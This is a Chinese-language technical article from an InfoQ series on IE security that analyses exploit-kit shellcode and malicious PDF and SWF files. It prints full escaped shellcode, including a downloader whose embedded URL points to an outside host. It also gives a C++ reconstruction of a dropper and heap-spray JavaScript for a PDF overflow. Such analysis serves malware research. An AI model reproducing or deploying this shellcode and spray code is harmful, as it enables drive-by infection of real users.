写点什么

IE 安全系列:脚本先锋(4)

  • 2015-07-24
  • 本文字数:9736 字

    阅读完需:约 32 分钟

脚本先锋系列第四章,也是最后一章。将介绍对 Shellcode 的调试,以及 SWF、PDF 漏洞的利用文件的简单处理过程。

下一部分预告:

IE 安全系列:中流砥柱(I) — JScript 5 解释器处理基本类型、函数等的简单介绍

IE 中使用的 Javascript 解析器经历了多年的磨练,终于在版本 5 处分成了两个大版本,5 之后的 9,二者的关联和对一些内容的处理方式的不同之处,这两篇中,第一篇将对 Jscript 5.8 引擎中的字处理、函数调用等做简单的介绍。

IE 安全系列:中流砥柱(II) — JScript 9(Charka)编译后字节码的简单介绍

多年磨练之后,Jscript 9 的性能得到了很大的提升,9 和 5 处理起一些基本类型数据的区别会在这篇简要叙述,这篇会有和(I)类似的介绍,只不过是针对 Charka 的脚本流程的。 (这个成语,我想大概也能这么用吧……)

1、调试 Shellcode

上一篇(V.2)中,我们留下了一个全篇使用 XOR 0xE2 加密的 Shellcode,这篇中,我们将使用调试工具解密它。

escape 之后的 Shellcode 如下:

复制代码
%u0C0C%u6090%u1CEB%u4B5B%uC933%uB966%u03F8%u3B81%u0BFF%uE160%
u850F%u0254%u0000%u3480%uE20B%uFAE2%u05EB%uDFE8%uFFFF%u0BFF%uE160%
uE2E2%u86BD%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u8815%
uBBED%uC00A%uE2E1%u72E2%u1A00%uD18A%uE2D0%u8AE2%u91B7%u9087%u69B6%
uEEA4%u720A%uE2E0%u69E2%u880A%uBBE3%uE00A%uE2E1%u00E2%u8A1B%u8C8D%
uE2E2%u978A%u8E90%uB68F%uF41D%u2267%uF197%u8D8A%uE28C%u8AE2%u9097%
u8F8E%u69B6%uEEA4%u820A%uE2E0%u69E2%u880A%uBBE3%u300A%uE2E0%u00E2%
u8A1B%uD18E%uE2D0%u918A%u878A%uB68E%uA469%u0AEE%uE0A3%uE2E2%u0A69%
uE388%u0ABB%uE051%uE2E2%u1B00%u0E63%uE3E2%uE2E2%u3E69%u2163%uE262%
uE2E2%uE288%uF888%u88B1%u1DE2%uA6B4%u22D1%u62A2%uE1DE%u97E2%u6B1B%
u7264%uE2E2%u25E2%uE1E6%u83BE%u87CC%uA625%uE6E1%u879A%uE2E2%u2BD1%
uB3B3%uB5B1%uD1B3%u6922%uA2A4%u0C0A%uE2E3%u61E2%uE21A%u67ED%uE37E%
uE2E2%uE288%uE288%uE188%uE288%uE088%uE28A%uE2E2%uB122%uA469%u0AC6%
uE32F%uE2E2%u1A61%uED1D%u9966%uE2E3%u6BE2%u82A4%uE288%u1DB2%uCAB4%
uA46B%u6986%u7264%uE2E2%u25E2%uE1E6%u80BE%u87CC%uA625%uE6E1%u879A%
uE2E2%uE288%uE288%uE088%uE288%uE288%uE28A%uE2E2%uB1A2%uA469%u0AC6%
uE369%uE2E2%u1A61%uED1D%uDB66%uE2E3%u6BE2%u6664%uE2E2%u6BE2%u6E7C%
uE2E2%u69E2%u82A4%uE288%uE288%uE288%uA469%uB282%uB41D%u25DA%u92A4%
uE2E2%uE2E2%uA425%uE296%uE2E2%u63E2%uE225%uE2E0%uD1E2%u6939%u86BC%
uE288%uA46F%uB292%uE28A%uE2E6%uB5E2%u941D%u1D82%uE6B4%u2BD1%uE25B%
uE2E6%u62E2%uED9E%u771D%uEE96%u9E62%u1DED%u96E2%u62E7%uED96%u771D%
u0900%u2169%uE2CF%uE2E6%u61E2%uE21A%uE19D%uBC6B%u8892%u6FE2%u96A4%
u1DB2%u9294%u1DB5%u6654%uE2E2%u1DE2%uD2B4%u0963%uE6E2%uE2E2%u1961%
u9DE2%u1D47%u8294%uB41D%u1DD6%u6654%uE2E2%u1DE2%uD6B4%u6469%uE272%
uE2E2%u7C69%uE26E%uE2E2%uE625%uBEE1%uCC83%uB187%uB41D%u69CE%u6E5C%
uE2E2%u69E2%u7264%uE2E2%u25E2%uE5E6%u80BE%u87CC%u0E63%uE3E2%uE2E2%
u3E69%uE28A%uE2E3%uB1E2%uE28A%uE2E3%uB5E2%uE288%uE288%uB41D%u69FE%
uD119%uD122%u6339%uE20E%uE2E0%u69E2%u612E%uB61A%uEA9F%uFE6B%u61E3%
uE622%u1109%u2E69%u3B69%u2161%uD1F2%uB222%uB1B3%uB2B2%uB2B2%uB2B2%
uB2B5%u69B2%uEAA4%u650A%uE2E2%u63E2%uFA26%uE2E6%u83E2%uA425%uE1F6%
uE2E2%uD1E2%u692B%uC6DE%u0D61%u6194%uEA26%u2BD1%u051D%uE288%uB41D%
u86F6%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u6B15%u86B4%
uE688%u0ABB%uE241%uE2E2%u0072%u8A1A%uD0D1%uE2E2%uB78A%u8791%uB690%
uE469%uF00A%uE2E2%u69E2%u880A%uBBE7%u660A%uE2E2%u00E2%uD11B%uB51D%
uB41D%u62E6%u0ADA%uDA62%u970B%u63F3%uE79A%u7272%u7272%uEA96%u1D69%
u69B7%u6F0E%uE7A2%u021D%uDA0A%uE2E2%u21E2%uDA62%u620A%u0BDA%uF397%
u9A63%u72E7%u7272%u9672%u8A05%uE8EA%uE2E2%uA26F%u1DE7%u0A02%uE2F5%
uE2E2%u0A21%uE2F3%uE2E2%uF35A%uE6E3%u2062%uE2EE%uE009%u21BA%u1B0A%
u1D1D%uB91D%uE524%u6B5A%uE3BD%u2584%uE7A5%u021D%uB121%u3E69%u88B1%
u8AA2%uF2E2%uE2E2%u69B5%uC2A4%u640A%u1D1D%uBA1D%uB321%u69B4%uDE97%
u9669%u9ACC%u17E1%u69B4%uC294%u17E1%u2BD1%uA3AB%uE14F%uD127%uED39%
uF25C%u34D8%uEA96%u2923%uE1E5%uA238%u1309%uFDD9%u0597%u69BC%uC6BC%
u3FE1%u6984%uA9EE%uBC69%uE1FE%u693F%u69E6%u27E1%uBC49%u21BB%u9B0A%
u1D1E%u501D%u0010%u5016%uEDD4%u12F1%u99AA%uD0DF%u7396%u67EE%u4D3D%
u8159%u336B%uB3AD%u58A2%uE59D%uC070%uFC92%u8646%u710D%u06D0%u6C76%
uE8F1%u9B4E%u04DB%u267A%uFD6F%uB596%uEF84%uA11D%u4E5C%u7A39%uF2E8%
u621A%u4D34%u1978%uF7B1%u8A84%u9696%uD892%uCDCD%u8083%uCC8C%u8C86%
uD291%uD7D5%uCCD7%u878C%uCD96%uCD86%u8686%uCC86%u9A87%uE287%uE2E2

将这些 Shellcode 放到 EXE 根部,组成一个 EXE,见参考资料 (1] 附件。

警告 如果你直接解压这个程序,你的杀毒软件可能会报警。这是因为该 Shellcode 已经被多个杀毒软件作为特征入库。请在虚拟环境执行,或者暂时关闭杀毒软件。

CALL 405006调用时,会将其下一条指令的地址压栈,因此00405006处的POP EBX其实获取到的就是下一条指令的地址。

之后ECX = 0x3F8的语句其实就是为了告诉下面的 LOOP 指令要循环多少(0x3f8)次,这也是加密后的字符串长度。

然后,下一句意义其实不大,只是为了确保要解密的内容对不对,

(点击放大图像)

紧接着是一个JNZ 指令,可以看到OllyDbg 之前发生了解析错误。OD 解析为了DB、TEST、DB 三条不伦不类的数据+ 指令的结合,对比IDA 的结果可以知道这里是一个JNZ,实际上跟着CMP,这里十有八九也是跳转指令。

选中三行,右键选择analysis - remove analysis from selection,这时就可以恢复正常的语句。

接下来的XOR+LOOP 则就是经典的“加密/ 解密”,一大牛也戏称中国三大加密算法之一的异或解密。解密密钥很明显就是0xe2 了。

在LOOP 下一行下断点,可以得到解密后的内容,此时OD 还是解析有误,我们手动选择 0x5033-0x3f8左右的内容,重复 remove analysis 的过程即可得到基本正确的代码:

处理后:

4053AE处仍然是一个 CALL,会回到40502C处,上图中 JMP 的下一行。为什么这么做大家应该很容易理解,和之前一样,4053AE之后的一句很可能就是常量值了,而且40502C处也有POP EDI的语句。

由于之前我们 remove analysis 比较多,导致了后面的常量也被当作了代码,这个很容易就能发现,因为里面出现了大量的不明所以的代码:

右键中选择 Analysis code 即可重新分析这块:

(点击放大图像)

我们假装什么都没看见,继续调试这段代码。

30、0c、1c、8,这些令人熟悉的数字(不记得了请看上篇最后),可以肯定的知道这里就是在获取某个函数地址,其实就是 LoadLibrary 了,这个肯定是各个 Shellcode 第一个要做的事情,要不然后续如何开展呢:)。

405369的 CALL 即会获取所需的函数地址。比较字符串可能会用掉较多的空间,所以这里它采用了给函数名取 HASH 的方式:

即伪代码如下:

复制代码
DWORD dwHash;
CHAR chFuncName;
while(chFuncName = szWindowsAPIName++)
{
dwHash += chFuncName;
_ROR(dwHash, 7);
}

在函数名这种大概一个模块就几百个的东西里面,这个 HASH 算法还是可以做到粗略的准确的,

此例中,在这附近就是存着的他们想要拿到的函数的 HASH,获取到函数地址之后会覆盖掉对应的 Hash,可见空间用的还是比较紧凑的:

之后就是简单的函数跟踪了,有兴趣的话可以自己跟踪一下,之后该 Shellcode 的动作我直接写成 C++ 代码了,供参考,获取函数地址的细节代码我就跳过不写了,不保证可编译,不过如果要编译的话简单修改应该就可以了:

复制代码
HMODULE hModule = LoadLibraryA(“User32”);
GetAddressFromModule(hModule, “GetModuleHandleA”);
// 自己获取函数地址的函数,没用系统的 GetProcAddress,估计为了省字符串的长度
,这里事实上还是用的 Hash,为了方便阅读这么写了
if(GetModuleHandleA(“urlmon”) == NULL)
{
hModule = LoadLibrary(“urlmon”);
}
GetAddressFromModule(hModule, “URLDownloadToFileA”);
hModule = LoadLibraryA(“shell32”);
GetAddressFromModule(hModule, “SHGetSpecialFolderPathA”);
CHAR buffer[MAX_PATH];
SHGetSpecialFolderPathA(0, buffer, 0x1a, 0); //APPDATA
strcat(buffer + strlen(buffer), “\a.exe”);
do
{
if (URLDownloadToFileA(0, MALICIOUS_URL, buffer, 0, 0) == S_OK)
{
// 这个 URL 访问不了了,所以必然不是 S_OK,执行完以后手动置 EAX 为 0,
然后随便拷贝个 EXE 去 %appdata%\a.exe 吧,要不然后面调试起来会比较蛋疼
HANDLE hFile = CreateFileA(buffer, 0xc0000000, 2, 0, 3, 0, 0 );
if(hFile != INVALID_HANDLE)
{
DWORD dwFileSizeLo = GetFileSize(hFile, 0);
CHAR buffer_otherone[1024];
buffer[strlen(buffer) - 5] = ‘b’;
// 实际上操作语句不是这样,不过最后结果一样,简单写好了
HANDLE hFile2 = CreateFileA(buffer, 0x40000000, 0, 0, 2, 0, 0);
if(hFile2 == INVALID_HANDLE) break;
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
DWORD dwPos = 0;
while(dwPos < dwFileSizeLo)
{
ReadFile(hFile, buffer_otherone, 1024, dwBytesRead, NULL);
dwPos += 1024;
for(int i=0; i<1024; ++i)
{
if(buffer_otherone[i] != 0 && buffer_otherone[i] != 0x95)
buffer_otherone[i] ^= 0x95;
}
// 事实上木马下载回来的文件是 0x95 异或过的,只是为了防杀,
所以这里为了保证它能正常运行,还需要这一步给它解回来
WriteFile(hFile2, buffer_otherone, 1024, 0, 0);
}
CloseHandle(hFile);
CloseHandle(hFile2);
buffer[strlen(buffer) - 5] = ‘a’;
// 实际上操作语句不是这样,不过最后结果一样,简单写好了
DeleteFileA(buffer);
buffer[strlen(buffer) - 5] = ‘b’;
WCHAR bufferw[256];
MultiByteToWideChar(buffer, CP_ACP, 0, buffer, 256, bufferw, 256);
CreateProcessInternalW(0,0, bufferw, 0, 0, 0, 0); // 启动木马
}
}
}while(0);
ExitProcess(0);

MALICIOUS_URL 就这玩意,不贴上来了,要不白送别人一个友情链接多不好:

2、Shellcode in PDF

Adobe PDF Reader 是一个全球内都广泛使用的工具,而它又可以在 IE 中实例化,因此,PDF 漏洞也是攻击者热衷于挖掘和利用的一个重要部分,而 PDF 中也允许 Javascript 的执行,这就更加剧了其安全问题,本节将简单介绍如何提取 PDF 中的 Shellcode。

关于 PDF 结构的细节不在这里过多介绍,以下是一个 PDF 的很常见的形式,PDF 有明显的“节”(x x obj)和“节”信息(用双尖括号包围),而为了控制 PDF 的大小,PDF 是支持多种压缩方式的,一种方式是 zlib 算法的压缩,这种方式压缩的节显示如下,可以从 FlateDecode 来区分出来。

在 stream-endstream 之间的就是压缩后的内容,还有个特征是这段内容的第一个字是“x”。

当然,PDF 也是支持明文存放的甚至于直接内部执行 JS,例如:

16 0 obj - endobj中间的就是 js 脚本。

针对 PDF 的解析可以参考我之前放出来的 Redoce 工具,可以针对性地对压缩过的部分进行解压,例如图中这节压缩内容解压后明显是垃圾信息,因此可以跳过:

(点击放大图像)

附件中的例子有恶意代码的部分是明文存放的,因此要对它的代码进行阅读和Shellcode 的抽取应该是相当简单的。

(点击放大图像)

还有一点是PDF 中的JS 并不是多“标准”,有个明显的特征是它的内容会经过一层编码,例如上图\全部被编码成了\,工具可以做简单清理,如上图所示。

其实清理之后,留下来了很多\”,虽然不会产生语法错误,不过看起来还是很别扭,也可以手动再把这些\都删掉。还有开头的例如(?function …需要手动删除成(function …。

清理完的代码见附件malicious_VI.rar 的 pdf.js.txt。

简单地阅读一下代码,虽说一眼就能看出来awn5fmmtY 这个变量就是Shellcode,和、至少是它的绝大部分,但是还是看一看吧:

(点击放大图像)

一番阅读之后,可以发现这里使用了 app[’eval’](xxxx),正如你所见,不是他替换了什么东西,而是 PDF 中的 eval 函数实际上是属于 app 对象的,而不是 window 对象。具体可以参照参考资料,Adobe 的开发资料。

最终执行的就是这么一段

(点击放大图像)

为了不让图太大,我把字号缩小了,具体可参照附件。

这一段中,采用了 awn5fmmtY = unescape(awn5fmmtY.join(""));的方式将这个 Array 输出成一个字符串。然后就是简单的堆喷过程。

(点击放大图像)

我们手动改一下变量就能看的很清楚了:

复制代码
var fK2iJohU = 0x400000;
var mTcRGdIAFp = awn5fmmtY.length * 2;
var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38);
var sR4ZJ8w7ci = unescape("%u9090%u9090");
sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL);
var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU;
for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++)
{
rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;
}

改为方便人阅读的代码就是:

复制代码
var arr = new Array();
var blockSize = 0x400000;
var shellcodeSize = shellcode.length * 2;
var spraySize = blockSize - (shellcodeSize + 0x38);
var nops = unescape("%u9090%u9090");
nops = extendStrForXXTimes(nops, spraySize);
var sprayTarget = 0x0c0c0c0c;
var fillTimes = (sprayTarget - 0x400000) / blockSize;
for(var i = 0; i < fillTimes; i++)
{
arr[i] = nops + shellcode;
}

如何,上述代码是否非常眼熟?对了,随便找一个堆喷的 js 代码都是如此。这个 PDF 实际上是利用了 PDF 的app.doc.Collab.getIcon()函数的溢出漏洞,该函数没有对文件名长度进行检查,直接拷贝进了缓冲区,是一个经典的溢出漏洞。利用时文件名需要加上特定的表示,例如下图中 N.doc,否则无法走入有漏洞的部分。Adobe JavaScript 中使用堆喷在当时效果非常稳定:

具体细节网上有分析过程,在此不提了,Shellcode 可以简单看一下。

提取出来的 Shellcode 如下:

复制代码
%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%
u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%
u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%
u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%
u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%
u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%
uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%
uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%
uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%
ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%
u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%
u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%
u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%
u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%
u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%
ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%
uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%
u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%
u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%
u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%
ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%
u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%
u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%
uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%
udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%
u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%
ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%
u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%
u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%
uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%
u6c6e%u616f%u5464%u466f%u6c69%u4165%u7500%u6470%u7461%u2e65%
u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%
u692f%u6b6e%u616b%u2e6b%u6e63%u652f%u746e%u7265%u752f%u6470%
u7461%u2e65%u6870%u3f70%u6469%u333d%u7226%u7465%u6f3d%u006b%u9000

通过简单处理可以看到就是简单的URLDownloadToFile,由于这里%u0000不会影响流程,所以支持带 0 的 Shellcode 使得它的体积缩小了很多。简单调试一下吧。将 Shellcode 附着到 exe 之后(附件 malicious2.exe.txt)。

代码十分简单:

首先 PUSHAD PUSHFD,然后使用 POP EBP,SUB EBP,0D 来构造一个栈帧。

接着又是常见的 fs:30、0c、1c、8、34 这些常见的值,后面的内容不言自明,我们可以锻炼一下静态阅读,具体动作如下:

也即跟着查找 GetTempPathA(ebp+15e)等等函数的地址并保存在 ebp+14e 处。

然后,还是上图,就可以知道 0x405053 处的 call 实际上就是 call 了 GetTempPathA,在此获得临时目录位置,接下来:

此处LoadLibrary EBP+245处的内容(URLMON.dll),然后并GetProcAddress获取EBP+250处的函数地址(URLDownloadToFileA),并最终调用URLDownloadToFileA,下载的文件是EBP+278处的 URL,保存到EBP+15E处(%temp%\update.exe):

并在此调用 EBP+15E 的函数(WinExec)执行下载回来的程序:

然后再次获取 Temp 目录的地址,重复之前的步骤,只不过下载到的是%temp%\crash.php,并再次调用 WinExec 执行,POPFD POPAD,退出程序。

这个 Shellcode 的主要作用就是下载者了,因此到这里也算是完美的完成了任务了。让我们再看看它的亲戚:SWF。

3、Shellcode in SWF

如上一节所说,SWF 凭借着目前网上最为流行的多媒体互动程序 Adobe Flash Player,SWF 的用户量只会比难兄难弟 PDF 的大而不会小,而 SWF 的漏洞高发,导致了 SWF 也称为了漏洞利用者心目中的明星。针对 SWF 的反编译,可以依赖于 Eltima Software 的 Flash Decompiler Trillix,或者其他能弄成 AS 文件的都可以。

单从 SWF 自身来说,它的压缩模式常见的两种,文件头是 CWS 的表示使用了压缩,也是 zlib 算法,FWS 的表示没有压缩过。

我的工具中也提供了对 SWF 的自动解压,由于有些网马会把 URL 明文存放,所以处理后还是可以方便病毒研究者来抓出 URL 的,如下图:

接下来可以阅读 SWF 的 Action Script 了,与之相关的书籍可以参考《 ActionScript 3.0 Bible 》,这是一本介绍十分详细的工具书,或者其他你手头可以让你迅速看懂 AS 的资料也可。

附件中 malicous3.swf.txt 是 CVE-2015-0313 的利用文件,该漏洞是 Flash Player 的一个 UAF 问题,具体细节网上有很多了,这里我们还是针对 SWF 到 AS 的过程做一些解释:

使用 Flash Decompiler Trillix 载入该 swf 文件。

(点击放大图像)

可以看到AS 脚本中有三个类,这个SWF 文件抓取自使用AEK ,AEK 提供给别人用的东西都是高度混淆的,这里面也不例外,可见各个类的名字就已经被混淆过了。

一个小问题是AEK 是漏洞工具包,或者白话点就是卖给别人用来坑其他人的软件,不是漏洞名。国内的一个软件曾经提示了AEK 是漏洞,其实是不正确的,具体名字我也就不截图了:

AS3.0 中会使用 Worker 对象,Worker 对象间也可以共享对象 3,漏洞代码通过触发在主执行线程和 worker 间共享的 MessageChannel 属性中的漏洞来执行。主要是三步:

通过 setSharedProperty 把一个 ByteArray 对象设置为共享属性
把这个 ByteArray 设置到 domainMemory 中
worker 调用 getSharedProperty 获取这片内存,然后调用ByteArray::Clear清空它。Clear 之后,domainMemory 并没有将内存置空,从而导致了 UAF 的存在。
然后,让我们先阅读一下 SWF 代码:

复制代码
In &.as
private static var 5:&;
5 = new &();

这里的逻辑是如此连上的,所以“5”可以看作是 class “&”的实例。

由于class &::&()中设置了this.4 = "BAPO6SgZH....”; 因此,

函数 7() 中事实上 loc1 的值就是经过函数’() 处理后的 this.4 后面这一串字符了,

函数’() 的定义如下:

不过这么看实在是太痛苦了,而且由于这个混淆使得 Adobe Flash Professional CS5 的着色也发生了混乱,因此让我们手动替换一下里面的值。

首先简单阅读一下’(),知道它是某种解密函数,因此我直接把它换成 decode();

然后针对常量也做类似的简单阅读 - 替换:

(点击放大图像)

最终得到:

(点击放大图像)

(点击放大图像)

这样代码看起来就要方便得多了,不用在想这一堆乱七八糟的代号是什么了。使用检查语法错误功能,检查完毕后就可以执行这段代码让它自己吐处理结果了。

新建一个 AS 工程,把脚本粘进去。

复制代码
public static function someProc():*
{
var myDecodedStr:*=decode(evilClass.strEncrypted);
trace(myDecodedStr);

然后在对应位置加上 trace,decode 返回的是类 BASE64 解后的结果,该 SWF 在这段代码:

复制代码
while (i < myDecodedStr.length)
{
n = n + 1 & 255;
loc6 = (myByteArray[n] & 255) + loc6 & 255;
loc10 = myByteArray[n];
myByteArray[n] = myByteArray[loc6];
myByteArray[loc6] = loc10;
loc9 = (myByteArray[n] & 255) + (myByteArray[loc6] & 255) & 255;
myDecodedStr[i] = myDecodedStr[i] ^ myByteArray[loc9];
++i;
}

运行完之后输出的内容就是解密后的了,其实仔细看的话它就是个 RC4。

(点击放大图像)

Ctrl+Enter 后卡了小一阵子,运行得到结果:

结果输出又是一个SWF 文件,真是让人头疼的事情,使用FileReference 类即可( import flash.net.FileReference;

然后保存后的就是解密后的内容。对这个 swf 再做一个分析,如果 Flash Decompiler 一分析那个 SWF 就崩溃的话,这个时候可以换个其他类似工具,例如 FFD。

打开后可以看到类名点点杠杠的好不欢乐,AEK 的加密已经丧心病狂到把它认为所有有可能威胁到自己的代码全部RC4 加密放到了二进制数据中,使用时现场取出解压。

眼睛都看花了,阅读过程太过痛苦,就贴一下具体内容吧,

这里的逻辑是:如果没解密的话解一下( if (!_a_-___-) _a-_—()),然后把 index 异或处理一下,异或的值就是 a—。

这个是它的 RC4 加密的 Key,2 组密钥,16 字节一组。

最终此处做 ROP 并且使用 Shellcode,参考资料也是解了类似的SWF 文件,其中的RC4 解密代码大家可以借鉴一用。

解出来的Shellcode 使用的代码很简单,和上一节类似,会用WinHTTP 的相关函数访问网址并用XXTEA 解密:

如果是Shellcode ,直接执行;

如果是DLL,下载并调用 regsvr32 /s来注册(其实也就是启动)它。

Shellcode 篇章至此结束,限于篇幅和个人能力,肯定还是有很多覆盖不到的地方,一些实战内容将在后续章节覆盖,同时,参考资料中也有大量的 Shellcode 可供调试。

参考资料


  1. 附件:请关闭杀毒软件并在虚拟环境调试,网马的 Shellcode 比较老,EXE 调试环境推荐 Windows XP SP3。
  2. http://www.adobe.com/devnet/acrobat/javascript.html
  3. Communicating between workers http://help.adobe.com/en_US/as3/dev/WS2f73111e7a180bd0-5856a8af1390d64d08c-7ffe.html
  4. http://www.expl0it-db.com/
  5. http://www.cnblogs.com/Lamboy/p/4278066.html

感谢魏星对本文的策划和审校。

给InfoQ 中文站投稿或者参与内容翻译工作,请邮件至 editors@cn.infoq.com 。也欢迎大家通过新浪微博( @InfoQ @丁晓昀),微信(微信号: InfoQChina )关注我们,并与我们的编辑和其他读者朋友交流(欢迎加入 InfoQ 读者交流群)。

2015-07-24 10:521721

评论

发布
暂无评论
发现更多内容

C#泛型协变和逆变概念学习

IC00

C# 上位机 10月月更

拳头产品|海泰虎讯,新一代安全即时通讯系统

电子信息发烧客

前端八股文总结

loveX001

JavaScript

企业选型必读:选择数据湖or数据仓库?

雨果

数据仓库 数据湖

再见 MySQL!这可能不再是一个哗众取宠的梗了

雨果

MySQL 关系型数据库 开源数据库

Spring Boot「19」WebApplicationInitializer源码分析

Samson

Java spring 学习笔记 10月月更 spring-web

产品建议

乌龟哥哥

20道高级前端面试题解析

loveX001

JavaScript

精品方案|基于医疗机构的突发公共卫生多点触发监测预警系统 实现疫情精准防控

电子信息发烧客

2022-10-31:以下go语言代码输出什么?A:map[];B:nil;C:Panic;D:编译错误。 package main import “fmt“ func main() {

福大大架构师每日一题

golang 福大大 选择题

网络安全CTF之最新网鼎杯解题思路

网络安全学海

黑客 网络安全 信息安全 渗透测试 WEB安全

主导未来的前 5 大数据科学趋势,你知道几个?

雨果

数据科学 DaaS数据即服务

如何查看 Series、DataFrame 对象的数据

芯动大师

Python serialVersionUID 10月月更

DataFrame 的拼接

芯动大师

Python ApplicationContext 10月月更

前端食堂技术周刊第 57 期:Turbopack、Next.js13、Chrome107、Vite3.2、图解 TLS 1.3

童欧巴

chrome 前端 vite

面试官:说说Event Loop事件循环、微任务、宏任务

loveX001

JavaScript

数字孪生与未来城市建设

雨果

数字孪生

Hive基本架构

穿过生命散发芬芳

hive 10月月更

Pandas的介绍及 Series、 DataFrame的创建

芯动大师

pandas pyhton 10月月更

如何选择数据

芯动大师

索引技术 DataFrame 10月月更

倒计时3天!云栖大会龙蜥操作系统峰会最新议程一览

OpenAnolis小助手

开源 操作系统 倒计时 云栖大会 龙蜥社区

“程”风破浪的开发者|浅谈初学者应该如何正确打开一个技术或一门语言

迷彩

学习方法 10月月更 “程”风破浪的开发者

这些js原型及原型链面试题你能做对几道

loveX001

JavaScript

Gartner:通过数字投资缩短价值实现时间的必要性

雨果

数字化转型 CIO

软件工程师的核心竞争力是什么?

老张

职场成长 核心竞争力

Spring Boot「20」从 DispatchServlet 开始一个请求的处理过程

Samson

Java spring 学习笔记 10月月更 spring-web

C# 关于多态性学习

IC00

C# 学习 上位机 10月月更

6种容器接入方式

阿泽🧸

10月月更 容器接入

Zepoch节点已售出500+,Zebec Chain市场反响激烈

股市老人

如何用 JavaScript 编写你的第一个单元测试

茶无味的一天

JavaScript 单元测试 mocha

IE安全系列:脚本先锋(4)_安全_blast_InfoQ精选文章